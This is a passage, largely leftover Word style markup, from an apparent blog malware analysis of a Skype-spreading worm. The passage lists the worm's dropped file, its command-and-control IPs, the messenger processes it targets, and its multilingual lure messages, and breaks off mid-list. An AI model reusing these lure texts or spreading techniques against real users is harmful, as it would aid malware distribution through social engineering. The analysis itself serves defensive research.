  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;59&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Revision&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;34&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;List Paragraph&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:&quot;Table Normal&quot;;
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:&quot;&quot;;
 mso-padding-alt:0in 5.4pt 0in 5.4pt;
 mso-para-margin-top:0in;
 mso-para-margin-right:0in;
 mso-para-margin-bottom:10.0pt;
 mso-para-margin-left:0in;
 line-height:115%;
 mso-pagination:widow-orphan;
 font-size:11.0pt;
 font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
 mso-ascii-font-family:Calibri;
 mso-ascii-theme-font:minor-latin;
 mso-hansi-font-family:Calibri;
 mso-hansi-theme-font:minor-latin;}
&lt;/style&gt;
&lt;![endif]--&gt;



&lt;br /&gt;
&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
Now the actual Post continues....&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;img alt=&quot;[IMG]&quot; class=&quot;bbCodeImage LbImage&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUYZ5N9ZXdm9-jHR4fdfVLEA_HjXt4OUxiDxlm_gYNo-AHHwYDCiDncvDJKkhivV4INl6m1ko0UazE9eac8DF8bT4z9wg6biAwBqZP5amJgXtTyneHRHoD5Ph7_6zkR46kDq54iKbIWC3T/s1600/Capture.PNG&quot; /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt; Links refers to Hotfile and will immediately download a ZIP file. &lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Positive thing is that it is a ZIP file and not an EXE. This means the 
user still has to manually unpack and run the malware. Inside our ZIP 
file we&#39;ll find the following file, which is covered as a Skype setup 
file:&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;img alt=&quot;[IMG]&quot; class=&quot;bbCodeImage LbImage&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXss9m7B9yyAe-9xSU0cnX3aYT1ClJoZyw9e_7gUEPCHT3nDyLMUxqBUBgRM1SwreIYfS5NApI33TYFfmICNSqzan3a1csq80LxCPGiaSCxaEvLcNeNwnVDRMh5-kP59hiXM6hodB0MNq5/s1600/Capture2.PNG&quot; /&gt;&lt;/div&gt;
&lt;br /&gt;
When executing this file, another file (a random 4 character EXE) will be dropped to the &lt;b&gt;%appdata%&lt;/b&gt; folder of the currently logged on user:&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;img alt=&quot;[IMG]&quot; class=&quot;bbCodeImage LbImage&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0uYflyVogvJ4CptFp_ESkhpGkkRYooZY4aLNaXtuFcxXlS0qXXCMZvfNW8I8oZR1rtVhUz4NBUeNh9ui1kcafBEHg1VNtm81qsTmRybp0CM-kiyZXinkVZe2djIAnlVgd1xOLZkT4zo1z/s1600/Capture.PNG&quot; /&gt;&lt;/div&gt;
&lt;br /&gt;
This file will try to connect to &lt;b&gt;api.wipmania.com&lt;/b&gt;, waiting for instructions. Additionally, it tries to connect to the following IP addresses:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
&lt;br /&gt;
&lt;aside&gt;
  
  &lt;blockquote&gt;
74.208.112.178 - IPVoid &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://www.ipvoid.com/scan/74.208.112.178/&quot; target=&quot;_blank&quot;&gt;Result&lt;/a&gt;&lt;br /&gt;
87.106.98.157 - IPVoid &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://www.ipvoid.com/scan/87.106.98.157/&quot; target=&quot;_blank&quot;&gt;Result&lt;/a&gt;&lt;br /&gt;
199.15.234.7 - IPVoid &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://ipvoid.com/scan/199.15.234.7/&quot; target=&quot;_blank&quot;&gt;Result&lt;/a&gt;&lt;br /&gt;
213.165.71.142 - IPVoid &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://www.ipvoid.com/scan/213.165.71.142/&quot; target=&quot;_blank&quot;&gt;Result&lt;/a&gt;&lt;br /&gt;
213.165.71.153 - IPVoid &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://www.ipvoid.com/scan/213.165.71.153/&quot; target=&quot;_blank&quot;&gt;Result&lt;/a&gt;&lt;br /&gt;
217.160.108.147 - IPVoid &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://www.ipvoid.com/scan/217.160.108.147/&quot; target=&quot;_blank&quot;&gt;Result &lt;/a&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
Now, how do we know how it spreads and which messages it can display? The file extracted from the ZIP archive - &lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;skype_05102012_image.exe &lt;/b&gt;&lt;/span&gt;looks for the following processes:&lt;br /&gt;
&lt;i&gt;msnmsgr.exe&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;msmsgs.exe&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;skype.exe&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #3366ff;&quot;&gt;It will then automatically send a message, based on the OS language. It uses the following list to spread:&lt;/span&gt;&lt;br /&gt;
&lt;i&gt;1.tas ir jusu jauna profila bildes?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;2.seo do grianghraf prl nua?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;3.ont uusi profiilikuva?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;4.nai aft a fotografa profl sas?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;5.sa kvo profili lusankary aquesta &lt;/i&gt;&lt;br /&gt;
&lt;i&gt;6.s la teva nova foto de perfil?&lt;/i&gt;&lt;br /&gt;
